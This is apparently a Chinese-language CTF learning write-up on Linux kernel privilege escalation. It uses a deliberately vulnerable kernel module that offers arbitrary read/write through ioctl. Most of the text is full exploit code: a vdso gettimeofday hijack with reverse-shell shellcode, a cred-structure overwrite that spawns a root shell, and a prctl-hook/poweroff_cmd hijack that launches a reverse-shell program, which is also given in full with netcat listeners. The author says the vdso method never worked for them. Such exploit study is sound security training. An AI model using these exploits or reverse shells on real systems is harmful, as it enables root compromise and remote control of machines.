1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 #include <linux/module.h> #include <linux/version.h> #include <linux/kernel.h> #include <linux/types.h> #include <linux/kdev_t.h> #include <linux/fs.h> #include <linux/device.h> #include <linux/cdev.h> #include <asm/uaccess.h> #include <linux/slab.h> static char *buffer_var = NULL ;static struct class *devClass ; static struct cdev cdev ;static dev_t arbWriteModule_dev_no;struct arbWriteNote { ssize_t addr; ssize_t len; char * data; }; static struct arbWriteNote * arbNoteObj ;static long arbWriteModule_ioctl (struct file *filp, unsigned int cmd, unsigned long arg) ;static int arbWriteModule_open (struct inode *i, struct file *f) ;static int arbWriteModule_close (struct inode *i, struct file *f) ;static struct file_operations arbWriteModule_fops = { .owner = THIS_MODULE, .open = arbWriteModule_open, .release = arbWriteModule_close, .unlocked_ioctl = arbWriteModule_ioctl }; static int __init arbWriteModule_init (void ) { printk(KERN_INFO "[i] Module arbWriteModule registered" ); if (alloc_chrdev_region(&arbWriteModule_dev_no, 0 , 1 , "arbWriteModule" ) < 0 ) { return -1 ; } if ((devClass = class_create(THIS_MODULE, "chardrv" )) == NULL ) { unregister_chrdev_region(arbWriteModule_dev_no, 1 ); return -1 ; } if (device_create(devClass, NULL , arbWriteModule_dev_no, NULL , "arbWriteModule" ) == NULL ) { printk(KERN_INFO "[i] Module arbWriteModule error" ); class_destroy(devClass); unregister_chrdev_region(arbWriteModule_dev_no, 1 ); return -1 ; } cdev_init(&cdev, &arbWriteModule_fops); if (cdev_add(&cdev, arbWriteModule_dev_no, 1 ) == -1 ) { device_destroy(devClass, arbWriteModule_dev_no); class_destroy(devClass); unregister_chrdev_region(arbWriteModule_dev_no, 1 ); return -1 ; } printk(KERN_INFO "[i] <Major, Minor>: <%d, %d>\n" , MAJOR(arbWriteModule_dev_no), MINOR(arbWriteModule_dev_no)); return 0 ; } static void __exit arbWriteModule_exit (void ) { unregister_chrdev_region(arbWriteModule_dev_no, 1 ); cdev_del(&cdev); } long arbWriteModule_ioctl (struct file *filp, unsigned int cmd, unsigned long arg) { char * chunk = NULL ; char * buf; int retval = 0 ; switch (cmd) { case 111 : printk("Arbitrarily read function!---111\n" ); arbNoteObj = (struct arbWriteNote*)arg; copy_to_user(arbNoteObj->data,(char *)arbNoteObj->addr,arbNoteObj->len); break ; case 222 : printk("Arbitrarily write function!---222\n" ); arbNoteObj = (struct arbWriteNote*)arg; buf = kmalloc(arbNoteObj->len,GFP_KERNEL); copy_from_user(buf,arbNoteObj->data,arbNoteObj->len); memcpy ((char *)arbNoteObj->addr,buf,arbNoteObj->len); kfree(buf); break ; default : retval = -1 ; break ; } return retval; } static int arbWriteModule_open (struct inode *i, struct file *f) { printk(KERN_INFO "[i] Module arbWriteModule: open()\n" ); return 0 ; } static int arbWriteModule_close (struct inode *i, struct file *f) { printk(KERN_INFO "[i] Module arbWriteModule: close()\n" ); return 0 ; } module_init(arbWriteModule_init); module_exit(arbWriteModule_exit); MODULE_LICENSE("GPL" );
可以看到传入一个结构体,包含数据指针和地址,直接任意读写。
不同劫持
1.劫持vdso
(1)前置知识
vdso的代码数据在内核里,当程序需要使用时,会将vdso的内核映射给进程,也就是相当于把内核空间的vdso原封不动地复制到用户空间,然后调用在用户空间的vdso代码。
如果我们能够将vdso给劫持为shellcode,那么当具有root权限的程序调用vdso时,就会触发我们的shellcode,而具有root权限的shellcode可想而知直接就可以。而vdso是经常会被调用的,所有只要我们劫持了vdso,大概率都会运行到我们的shellcode。
真实环境中crontab会调用vdso中的gettimeofday,且是root权限的调用。
而ctf题目中就通常可以用一个小程序来模拟调用。
1 2 3 4 5 6 7 8 9 #include <stdio.h> int main () { while (1 ) { sleep(1 ); gettimeofday(); } }
将这个程序编译后放到init中,用nohup挂起,即可做到root权限调用gettimeofday:
(2)获取地址
由于不同版本的linux内核中的vdso偏移不同,而题目给的vmlinux通常又没有符号表,所以需要我们自己利用任意读漏洞来测量。(如果题目没有任意读漏洞,建议可以自己编译一个对应版本的内核,然后自己写一个具备任意读的模块,加载之后测量即可,或者进行爆破,一般需要爆破一个半字节)
例如这里给出的代码示例,就可以通过如下代码来将vdso从内核中dump下来。不过这种方式dump的是映射到用户程序的vdso,虽然内容是一样的,不过vdso在内核中的偏移却没有办法确定。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 #include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <sys/auxv.h> #include <sys/mman.h> int main () { int test; size_t result=0 ; unsigned long sysinfo_ehdr = getauxval(AT_SYSINFO_EHDR); result=memmem(sysinfo_ehdr,0x1000 ,"gettimeofday" ,12 ); printf ("[+]VDSO : %p\n" ,sysinfo_ehdr); printf ("[+]The offset of gettimeofday is : %x\n" ,result-sysinfo_ehdr); scanf ("Wait! %d" , test); if (sysinfo_ehdr!=0 ){ for (int i=0 ;i<0x2000 ;i+=1 ){ printf ("%02x " ,*(unsigned char *)(sysinfo_ehdr+i)); } } }
这种方法的原理是通过寻找gettimeofday字符串来得到映射到程序中的vdso的内存页,如下:
之后把下面的内容都复制,放到CyberChef中,利用From Hex功能得到二进制文件
然后就将得到的文件放到IDA中,即可自动解析到对应gettimeofday函数相对于vdso的函数偏移。
这里就当是0xb20。
之后通过任意读,类似基于本题编写的以下代码,获取vdso相对于vmlinux基址的偏移。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/ioctl.h> #include <fcntl.h> #include <errno.h> #include <sys/mman.h> #include <assert.h> #include <unistd.h> #include <fcntl.h> #include <sys/prctl.h> #include <sys/time.h> #include <sys/auxv.h> struct arbWriteNote { ssize_t addr; ssize_t len; char * data; }; struct arbWriteNote arbWriteObj ;int get_gettimeofday_str_offset () ;int main (int argc, char *argv[]) { int gettimeofday_str_offset = get_gettimeofday_str_offset(); printf ("gettimeofday str in vdso.so offset=0x%x\n" ,gettimeofday_str_offset); size_t vdso_addr = -1 ; for (size_t addr=0xffffffff80000000 ;addr < 0xffffffffffffefff ;addr += 0x1000 ) { arbitrary_read(devFD,0x1000 ,buf,addr); if (!strcmp (buf+gettimeofday_str_offset,"gettimeofday" )) { printf ("[+]find vdso.so!!\n" ); vdso_addr = addr; printf ("[+]vdso in kernel addr=0x%lx\n" ,vdso_addr); break ; } } } int get_gettimeofday_str_offset () { size_t vdso_addr = getauxval(AT_SYSINFO_EHDR); char * name = "gettimeofday" ; if (!vdso_addr) { printf ("[-]error get name's offset\n" ); } size_t name_addr = memmem(vdso_addr, 0x1000 , name, strlen (name)); if (name_addr < 0 ) { printf ("[-]error get name's offset\n" ); } return name_addr - vdso_addr; }
之后得到具体的地址
那么最终的gettimeofday相对于vmlinux基地址就是
1 gettimeofday_addr = 0xffffffff81e04b20+0xb20
(3)任意写劫持gettimeofday
最终利用任意写,将gettimeofday函数的内容改为我们的shellcode即可
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/ioctl.h> #include <fcntl.h> #include <errno.h> #include <sys/mman.h> #include <assert.h> #include <unistd.h> #include <fcntl.h> #include <sys/prctl.h> #include <sys/time.h> #include <sys/auxv.h> #define GETTIMEOFDAY_FUN 0xB20 struct arbWriteNote { ssize_t addr; ssize_t len; char * data; }; struct arbWriteNote arbWriteObj ;char shellcode[]="\x90\x53\x48\x31\xC0\xB0\x66\x0F\x05\x48\x31\xDB\x48\x39\xC3\x75\x0F\x48\x31\xC0\xB0\x39\x0F\x05\x48\x31\xDB\x48\x39\xD8\x74\x09\x5B\x48\x31\xC0\xB0\x60\x0F\x05\xC3\x48\x31\xD2\x6A\x01\x5E\x6A\x02\x5F\x6A\x29\x58\x0F\x05\x48\x97\x50\x48\xB9\xFD\xFF\xF2\xFA\x80\xFF\xFF\xFE\x48\xF7\xD1\x51\x48\x89\xE6\x6A\x10\x5A\x6A\x2A\x58\x0F\x05\x48\x31\xDB\x48\x39\xD8\x74\x07\x48\x31\xC0\xB0\xE7\x0F\x05\x90\x6A\x03\x5E\x6A\x21\x58\x48\xFF\xCE\x0F\x05\x75\xF6\x48\x31\xC0\x50\x48\xBB\xD0\x9D\x96\x91\xD0\x8C\x97\xFF\x48\xF7\xD3\x53\x48\x89\xE7\x50\x57\x48\x89\xE6\x48\x31\xD2\xB0\x3B\x0F\x05\x48\x31\xC0\xB0\xE7\x0F\x05" ;int openDev (char * pos) ;int get_gettimeofday_str_offset () ;int main (int argc, char *argv[]) { setvbuf(stdin ,0 ,2 ,0 ); setvbuf(stdout ,0 ,2 ,0 ); setvbuf(stderr ,0 ,2 ,0 ); int devFD; int addrFD; unsigned long memOffset; pthread_t thread; char * pos = "/dev/arbWriteModule" ; devFD = openDev(pos); char *buf = (char *)calloc (1 ,0x1000 ); int gettimeofday_str_offset = get_gettimeofday_str_offset(); printf ("gettimeofday str in vdso.so offset=0x%x\n" ,gettimeofday_str_offset); size_t vdso_addr = -1 ; for (size_t addr=0xffffffff80000000 ;addr < 0xffffffffffffefff ;addr += 0x1000 ) { arbitrary_read(devFD,0x1000 ,buf,addr); if (!strcmp (buf+gettimeofday_str_offset,"gettimeofday" )) { printf ("[+]find vdso.so!!\n" ); vdso_addr = addr; printf ("[+]vdso in kernel addr=0x%lx\n" ,vdso_addr); break ; } } if (vdso_addr == -1 ) { printf ("[-]can't find vdso.so!!\n" ); } size_t gettimeofday_addr = vdso_addr + GETTIMEOFDAY_FUN; printf ("[+]gettimeofday function in kernel addr=0x%lx\n" ,gettimeofday_addr); arbitrary_write(devFD,strlen (shellcode),shellcode,gettimeofday_addr); sleep(1 ); printf ("[+]open a shell\n" ); system("nc -lvnp 3333" ); return 0 ; } int openDev (char * pos) { int devFD; printf ("[+] Open %s...\n" ,pos); if ((devFD = open(pos, O_RDWR)) < 0 ) { printf (" Can't open device file: %s\n" ,pos); exit (1 ); } return devFD; } int get_gettimeofday_str_offset () { size_t vdso_addr = getauxval(AT_SYSINFO_EHDR); char * name = "gettimeofday" ; if (!vdso_addr) { printf ("[-]error get name's offset\n" ); } size_t name_addr = memmem(vdso_addr, 0x1000 , name, strlen (name)); if (name_addr < 0 ) { printf ("[-]error get name's offset\n" ); } return name_addr - vdso_addr; } void arbitrary_read (int devFD,int len,char *buf,size_t addr) { arbWriteObj.len = len; arbWriteObj.data = buf; arbWriteObj.addr = addr; ioctl(devFD,111 ,&arbWriteObj); } void arbitrary_write (int devFD,int len,char *buf,size_t addr) { arbWriteObj.len = len; arbWriteObj.data = buf; arbWriteObj.addr = addr; ioctl(devFD,222 ,&arbWriteObj); }
参考:
(15条消息) linux kernel pwn学习之劫持vdso_seaaseesa的博客-CSDN博客
还有bsauce师傅的简书:https://www.jianshu.com/p/07994f8b2bb0
2.劫持cred结构体
(1)前置知识
这个没啥好讲的,就是覆盖uig和gid为零蛋就行,唯一需要的就是寻找cred的地址。
(2)寻找地址
①利用prctl函数
task_srtuct结构体是每个进程都会创建的一个结构体,保存当前进程的很多内容,其中就包括当前进程的cred结构体指针。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 struct task_struct { const struct cred __rcu *ptracer_cred ; const struct cred __rcu *real_cred ; const struct cred __rcu *cred ; char comm[TASK_COMM_LEN]; }
给出的题目编译在4.4.72内核下。
也就是可以将comm[TASK_COMM_LEN]设置为指定的字符串,相当于打个标记,不过不同版本中可能有所不同,不如最新版本V5.14.13的Linux内核就有所不同,其中还加了一个key结构体指针:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 struct task_struct { #ifdef CONFIG_THREAD_INFO_IN_TASK stru const struct cred __rcu *ptracer_cred ; const struct cred __rcu *real_cred ; const struct cred __rcu *cred ; #ifdef CONFIG_KEYS struct key *cached_requested_key ; #endif char comm[TASK_COMM_LEN]; }
然后就可以利用prctl函数的PR_SET_NAME功能来设置task_struct结构体中的comm[TASK_COMM_LEN]成员。
1 2 3 char target[16 ];strcpy (target,"tryToFindPIG007" );prctl(PR_SET_NAME,target);
②内存搜索定位
通过内存搜索,比对我们输入的标记字符串,可以定位comm[TASK_COMM_LEN]成员地址,比如设置标记字符串为”tryToFindPIG007”:
可以查看当前Cred结构中的内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 char *buf = (char *)calloc (1 ,0x1000 );puts ("[+] we can read and write any memory" );for (;addr<0xffffc80000000000 ;addr+=0x1000 ){ arbitrary_read(devFD,0x1000 ,buf,addr); result=memmem(buf,0x1000 ,target,16 ); if (result){ printf ("result:%p\n" ,result); cred= * (size_t *)(result-0x8 ); real_cred= *(size_t *)(result-0x10 ); target_addr=addr+result-(int )(buf); printf ("[+]found task_struct 0x%lx\n" ,target_addr); printf ("[+]found cred 0x%lx\n" ,real_cred); break ; } }
③任意写劫持cred
这个就不多说了,获取到cred地址之后直接写就行了
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/ioctl.h> #include <fcntl.h> #include <errno.h> #include <sys/mman.h> #include <assert.h> #include <unistd.h> #include <fcntl.h> #include <sys/prctl.h> #include <sys/time.h> #include <sys/auxv.h> struct arbWriteNote { ssize_t addr; ssize_t len; char * data; }; struct arbWriteNote arbWriteObj ;int openDev (char * pos) ;int main (int argc, char *argv[]) { setvbuf(stdin ,0 ,2 ,0 ); setvbuf(stdout ,0 ,2 ,0 ); setvbuf(stderr ,0 ,2 ,0 ); int devFD; int addrFD; unsigned long memOffset; size_t addr=0xffff880000000000 ; size_t cred=0 ; size_t real_cred=0 ; size_t target_addr; size_t result=0 ; char root_cred[28 ] = {0 }; char target[16 ]; strcpy (target,"tryToFindPIG007" ); prctl(PR_SET_NAME,target); char * pos = "/dev/arbWriteModule" ; devFD = openDev(pos); char *buf = (char *)calloc (1 ,0x1000 ); puts ("[+] we can read and write any memory" ); for (;addr<0xffffc80000000000 ;addr+=0x1000 ){ arbitrary_read(devFD,0x1000 ,buf,addr); result=memmem(buf,0x1000 ,target,16 ); if (result){ printf ("result:%p\n" ,result); cred= * (size_t *)(result-0x8 ); real_cred= *(size_t *)(result-0x10 ); target_addr=addr+result-(int )(buf); printf ("[+]found task_struct 0x%lx\n" ,target_addr); printf ("[+]found cred 0x%lx\n" ,real_cred); break ; } } if (result==0 ) { puts ("not found , try again " ); exit (-1 ); } arbitrary_write(devFD,28 ,root_cred,real_cred); if (getuid()==0 ){ printf ("[+]now you are r00t,enjoy ur shell\n" ); system("/bin/sh" ); } else { puts ("[-] there must be something error ... " ); exit (-1 ); } return 0 ; } int openDev (char * pos) { int devFD; printf ("[+] Open %s...\n" ,pos); if ((devFD = open(pos, O_RDWR)) < 0 ) { printf (" Can't open device file: %s\n" ,pos); exit (1 ); } return devFD; } void arbitrary_read (int devFD,int len,char *buf,size_t addr) { arbWriteObj.len = len; arbWriteObj.data = buf; arbWriteObj.addr = addr; ioctl(devFD,111 ,&arbWriteObj); } void arbitrary_write (int devFD,int len,char *buf,size_t addr) { arbWriteObj.len = len; arbWriteObj.data = buf; arbWriteObj.addr = addr; ioctl(devFD,222 ,&arbWriteObj); }
▲注意事项
不过这个如果不加判断 if ((cred||0xff00000000000000) && (real_cred == cred))
搜索出来的cred可能就不是当前进程,具有一定概率性,具体原因不知,可能是搜索到了用户进程下的字符串?
3.劫持prctl函数
(1)函数调用链
prctl
->security_task_prctl
->*prctl_hook
orderly_poweroff
->__orderly_poweroff
->run_cmd(poweroff_cmd)
-> call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC)
(2)前置知识
原本capability_hooks+440存放的是cap_task_prctl的地址
但是经过我们的劫持之后存放的是orderly_poweroff的地址
之前讲的prctl_hook指的就是capability_hooks+440。
这样劫持之后我们就能调用到orderly_poweroff函数了。
而orderly_poweroff函数中会调用实际__orderly_poweroff函数,有如下代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 static int __orderly_poweroff(bool force){ int ret; ret = run_cmd(poweroff_cmd); if (ret && force) { pr_warn("Failed to start orderly shutdown: forcing the issue\n" ); emergency_sync(); kernel_power_off(); } return ret; }
这里就调用到run_cmd(poweroff_cmd),而run_cmd函数有如下代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 static int run_cmd (const char *cmd) { char **argv; static char *envp[] = { "HOME=/" , "PATH=/sbin:/bin:/usr/sbin:/usr/bin" , NULL }; int ret; argv = argv_split(GFP_KERNEL, cmd, NULL ); if (argv) { ret = call_usermodehelper(argv[0 ], argv, envp, UMH_WAIT_EXEC); argv_free(argv); } else { ret = -ENOMEM; } return ret; }
这里就调用到call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC),这里的参数rdi中就是
poweroff_cmd。所以如果我们可以劫持poweroff_cmd为我们的程序名字字符串,那么就可以调用call_usermodehelpe函数来启动我们的程序。而poweroff_cmd是一个全局变量,可以直接获取地址进行修改。
而call_usermodehelpe函数启动程序时是以root权限启动的,所以如果我们的程序运行/bin/sh且以root权限启动,那么就完成了提权。
(3)获取地址
①prctl_hook
可以通过编写一个小程序,然后给security_task_prctl
函数下断点,运行到call QWORD PTR[rbx+0x18]
即可看到对应的rbx+0x18上存放的地址,将其修改为orderly_poweroff
函数即可。
②poweroff_cmd、orderly_poweroff
可以直接使用nm命令来获取,或者直接进入gdb打印即可。
此外orderly_poweroff也是一样的获取。如果无法查到,那么可以启动qemu,先设置为root权限后
cat /proc/kallsyms | grep "orderly_poweroff"
即可,或者编译一个对应版本的内核进行查询。
▲最后fork一个子进程来触发反弹shell即可
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/ioctl.h> #include <fcntl.h> #include <errno.h> #include <sys/mman.h> #include <assert.h> #include <unistd.h> #include <fcntl.h> #include <sys/prctl.h> #include <sys/time.h> #include <sys/auxv.h> #define POWEROFF_CMD 0xe39c40 #define ORDERLY_POWEROFF 0x070060 #define PRCTL_HOOK 0xe7c7d8; struct arbWriteNote { ssize_t addr; ssize_t len; char * data; }; struct arbWriteNote arbWriteObj ;int openDev (char * pos) ;int get_gettimeofday_str_offset () ;int main (int argc, char *argv[]) { setvbuf(stdin ,0 ,2 ,0 ); setvbuf(stdout ,0 ,2 ,0 ); setvbuf(stderr ,0 ,2 ,0 ); int devFD; char * pos = "/dev/arbWriteModule" ; devFD = openDev(pos); char *buf = (char *)calloc (1 ,0x1000 ); int gettimeofday_str_offset = get_gettimeofday_str_offset(); printf ("gettimeofday str in vdso.so offset=0x%x\n" ,gettimeofday_str_offset); size_t vdso_addr = -1 ; for (size_t addr=0xffffffff80000000 ;addr < 0xffffffffffffefff ;addr += 0x1000 ) { arbitrary_read(devFD,0x1000 ,buf,addr); if (!strcmp (buf+gettimeofday_str_offset,"gettimeofday" )) { printf ("[+]find vdso.so!!\n" ); vdso_addr = addr; printf ("[+]vdso in kernel addr=0x%lx\n" ,vdso_addr); break ; } } if (vdso_addr == -1 ) { printf ("[-]can't find vdso.so!!\n" ); } size_t kernel_base = vdso_addr & 0xffffffffff000000 ; printf ("[+]kernel_base=0x%lx\n" ,kernel_base); size_t poweroff_cmd_addr = kernel_base + POWEROFF_CMD; printf ("[+]poweroff_cmd_addr=0x%lx\n" ,poweroff_cmd_addr); size_t orderly_poweroff_addr = kernel_base + ORDERLY_POWEROFF; printf ("[+]orderly_poweroff_addr=0x%lx\n" ,orderly_poweroff_addr); size_t prctl_hook_addr = kernel_base + PRCTL_HOOK; printf ("[+]prctl_hook_addr=0x%lx\n" ,prctl_hook_addr); char reverse_command[] = "/reverse_shell" ; arbitrary_write(devFD,strlen (reverse_command),reverse_command,poweroff_cmd_addr); arbitrary_write(devFD,0x8 ,&orderly_poweroff_addr,prctl_hook_addr); if (fork() == 0 ) { prctl(0 ,0 ); exit (-1 ); } else { printf ("[+]open a shell\n" ); system("nc -lvnp 7777" ); } return 0 ; } int openDev (char * pos) { int devFD; printf ("[+] Open %s...\n" ,pos); if ((devFD = open(pos, O_RDWR)) < 0 ) { printf (" Can't open device file: %s\n" ,pos); exit (1 ); } return devFD; } int get_gettimeofday_str_offset () { size_t vdso_addr = getauxval(AT_SYSINFO_EHDR); char * name = "gettimeofday" ; if (!vdso_addr) { printf ("[-]error get name's offset\n" ); } size_t name_addr = memmem(vdso_addr, 0x1000 , name, strlen (name)); if (name_addr < 0 ) { printf ("[-]error get name's offset\n" ); } return name_addr - vdso_addr; } void arbitrary_read (int devFD,int len,char *buf,size_t addr) { arbWriteObj.len = len; arbWriteObj.data = buf; arbWriteObj.addr = addr; ioctl(devFD,111 ,&arbWriteObj); } void arbitrary_write (int devFD,int len,char *buf,size_t addr) { arbWriteObj.len = len; arbWriteObj.data = buf; arbWriteObj.addr = addr; ioctl(devFD,222 ,&arbWriteObj); }
反弹Shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <netdb.h> #include <sys/types.h> #include <netinet/in.h> #include <sys/socket.h> #include <arpa/inet.h> int main (int argc,char *argv[]) { int sockfd,numbytes; char buf[BUFSIZ]; struct sockaddr_in their_addr ; printf ("break!" ); while ((sockfd = socket(AF_INET,SOCK_STREAM,0 )) == -1 ); printf ("We get the sockfd~\n" ); their_addr.sin_family = AF_INET; their_addr.sin_port = htons(7777 ); their_addr.sin_addr.s_addr=inet_addr("127.0.0.1" ); bzero(&(their_addr.sin_zero), 8 ); while (connect(sockfd,(struct sockaddr*)&their_addr,sizeof (struct sockaddr)) == -1 ); dup2(sockfd,0 ); dup2(sockfd,1 ); dup2(sockfd,2 ); system("/bin/sh" ); return 0 ; }
或者直接system("chmod 777 /flag");
也是获取flag的一种方式。
▲vdso的劫持一直没有复现成功过,明明已经劫持gettimeofday函数的内容为shellcode,然后也挂载了循环调用gettimeofday的程序,但是就是运行不了shellcode。
参考:
Kernel Pwn 学习之路 - 番外 - 安全客,安全资讯平台 (anquanke.com)
https://www.jianshu.com/p/07994f8b2bb0
https://blog.csdn.net/seaaseesa/article/details/104695399